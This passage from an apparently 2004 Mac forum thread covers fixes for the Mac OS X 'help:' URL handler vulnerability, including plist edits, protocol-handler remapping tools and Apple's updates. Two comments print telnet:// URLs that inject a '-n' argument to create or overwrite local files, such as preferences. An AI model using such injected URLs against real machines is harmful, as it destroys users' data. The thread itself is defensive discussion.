  7. Hit 'esc' key to exit out of vi's insertion mode.
  8. Type ':x' to have vi automatically save the document and quit.
When you're finished editing the document, it should look like this... [code] NSApplescriptEnabled [/code] More information here on NSAppleScriptEnabled Property List key. Again, I think this is a better fix without needing a 3rd party application.

Rick alias cougar

[ Reply to This | # ]
read this first and save a minute of time
Authored by: marklark on May 20, '04 09:14:57AM

you will probably have to "sudo vi /System/...."



[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: Han Solo on May 20, '04 11:57:56AM
This looks correct to me, but an easier implementation for some people might be the following single command line instruction (typed in the Terminal), posted on the front page of MacInTouch today:

sudo defaults write /System/Library/CoreServices/Help\ Viewer.app/Contents/Info NSAppleScriptEnabled -bool 'no'
If you are not familiar with Unix conventions, you might miss the space after the slash in "Help\ Viewer" (to escape the space), or the lack of a space between the hyphen and "bool" that represents a boolean switch. HTH!

[ Reply to This | # ]
This disables Help Viewer completely
Authored by: anjoschu on May 21, '04 08:22:36AM

This command sets the permissions on Info.plist to 600 (i.e. no-one can read the Info.plist contents anymore), so that _every_ Launch of Help Viewer fails. You'll have to correct this with this command:

sudo chmod 644 /System/Library/CoreServices/Help\ Viewer.app/Contents/Info.plist

Furthermore, I read that it would still be possible to include a faked Help Viewer application with higher version number in the mounted disk image, so that this one would be activated by the help:-URL. I'm not sure, but to me, changing the help:-Association seems the most secure fix.



[ Reply to This | # ]
From an email...
Authored by: robg on May 20, '04 07:40:22AM
Emailed to me this morning:
  1. Regarding the solution of redirecting the help-protocol to a safe application via the MoreInternet application, there is an important clarification to make. This works only in the scope of the current user!

    If you have multiple users on your machine, you have to repeat those steps in every account on your machine. This is escpecially important, if you normally work in an non-admin account, but have an admin account on your machine, too. If you forget to repeat the procedure in all your accounts, sooner or later you will find yourself working in the admin account without protection.

  2. There was a hint in a German forum, to repeat the redirection steps in MoreInternet also for the telnet protocol, and also to add the ssh and disk protocol and redirect those to a "safe" application, too.
I haven't confirmed the second point, but the first is true -- these changes are at the user, not system, level...

-rob.

[ Reply to This | # ]
From an email...
Authored by: osxpounder on May 20, '04 11:18:16AM

What if you don't have a "disk" or "ssh" protocol shown in the MoreInternet prefs panel? I don't. Should I add them, or leave it alone?

And, regarding changing these settings for every user: what about the user ids that won't take the change, as I mentioned above? Any ideas what's causing that and how to fix? Otherwise, I think I must delete those users and replace them [what a drag].

---
--
osxpounder



[ Reply to This | # ]
Yes you can and you should
Authored by: hamarkus on May 20, '04 01:59:26PM
Yes you can and you should. Just create a new helper. An exploit for the telnet part would be an URL like this:
 telnet://-n%2ftmp%2ftestfile 
This creates a new file in /tmp called testfile and would overwrite an existing file with the same name in the same location.

[ Reply to This | # ]
Just say "No." :^)
Authored by: marklark on May 20, '04 10:39:05AM
An easier workaround is to add the 'Paranoid Android' by the creative people at Unsanity.

It will ask you if you really wanted to follow the URLs that we've been using to test the 'help://' feature of our OS's web browsers. And will allow you to do so, if you wish.

[ Reply to This | # ]

This goes much futher than Help Viewer
Authored by: biscuit on May 20, '04 12:26:56PM

OK, so discussion over at the MacNN forums has revealed this to be far, far, far more serious than previously thought. You can read the a good summary here.

It would seem that Paranoid Android (see above) is currently the only full solution.

biscuit



[ Reply to This | # ]
Thread in forums
Authored by: crarko on May 20, '04 12:45:55PM
We have a thread a thread in the forums now about this. It may be easier to carry on the discussion there.

[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: SimonDorfman.com on May 21, '04 02:05:21AM
I prefer the fix described here: http://daringfireball.net/2004/05/unsafe_uri_handlers
It uses RCDefaultApp instead of MisFox or More Internet with good reason:
MisFox and More Internet are similar utilities to RCDefaultApp, and are also both free, but there is an important difference. MisFox and More Internet both only show URI protocols registered through the Internet Config system; RCDefaultApp also shows protocols registered directly through Launch Services.
...snip...
The ‘disk:' and ‘disks:' protocols are registered directly in Launch Services, which means they aren't displayed in MisFox or More Internet. I.e., RCDefaultApp shows all the protocol handlers registered on your system; MisFox and More Internet only display the protocols that are registered through Internet Config. Plus, version 1.1 of RCDefaultApp, released earlier this week, introduced the feature that allows you to assign a protocol to "disabled". This is a more elegant solution than assigning these protocols to dummy applications, such as Mac OS X's Chess game.


[ Reply to This | # ]
How to avoid the new 'Help' URL handler vulnerability
Authored by: osxpounder on May 21, '04 03:03:58PM

Thank you for the cogent explanation -- now I understand why RCDefaultApp is the best possible fix available to me. I'm convinced, and I'm applying it to all our Apples. Whew!

---
--
osxpounder



[ Reply to This | # ]
What is that secrurity problem about
Authored by: fukami on May 21, '04 06:12:09PM

Before starting to delete Apple Scripts, shreddening plists or download useless fixes you should consider thinking about what the problem *really* is about.

1) You dont need to use disk:// being used or downloaded. A simple mounted volume (ftp/smb/afs ...) where the malicious code resists on, is enough. Will you now start to disable all protocol handlers? So changing the handler for the disk schema is brainless, sorry to say that.

2) If a volume is mounted and containing an application whose info.plist calls for a new arbitrary protocol, LaunchServices will actually register the new handler association with no user intervention!

3) Also, via a telnet link it is possible to overwrite (zero out) an existing file.
try telnet://-nlibrary%2Fpreferences%F2filetooverwrite to wipe some prefs for example. (this is a different problem, but it can be used in conjunction to make the l33t happy)

4) Consider a site you trust with a client side XSS hole in it (guestbooks/forums ... )

So the best thing to do is to install Paranoid Android, as it also protects against obfuscating URI schemes in a very good way.

http://ozwix.dk/OpnAppFixer/testit.html (nice demo using ftp instead of disk)
http://www.euronet.nl/~tekelenb/playground/security/diskURLscheme/ (a good technical explanation)



[ Reply to This | # ]
Apple has released its fixes
Authored by: lestmak on May 22, '04 04:33:20AM
Apple has finally released fixes on its website. Two versions are available, one for Panther, the other for Jaguar:

Panther: http://www.apple.com/support/downloads/securityupdate__2004-05-24_(10_3_3).html
Jaguar: http://www.apple.com/support/downloads/securityupdate_2004-05-24_(10_2_8).html

[ Reply to This | # ]

Fixes only Help Viewer
Authored by: anjoschu on May 23, '04 08:36:17AM

On my machine, the exploit on unsanity.com still works after the Update. Seems it only addresses the Help Viewer bug.



[ Reply to This | # ]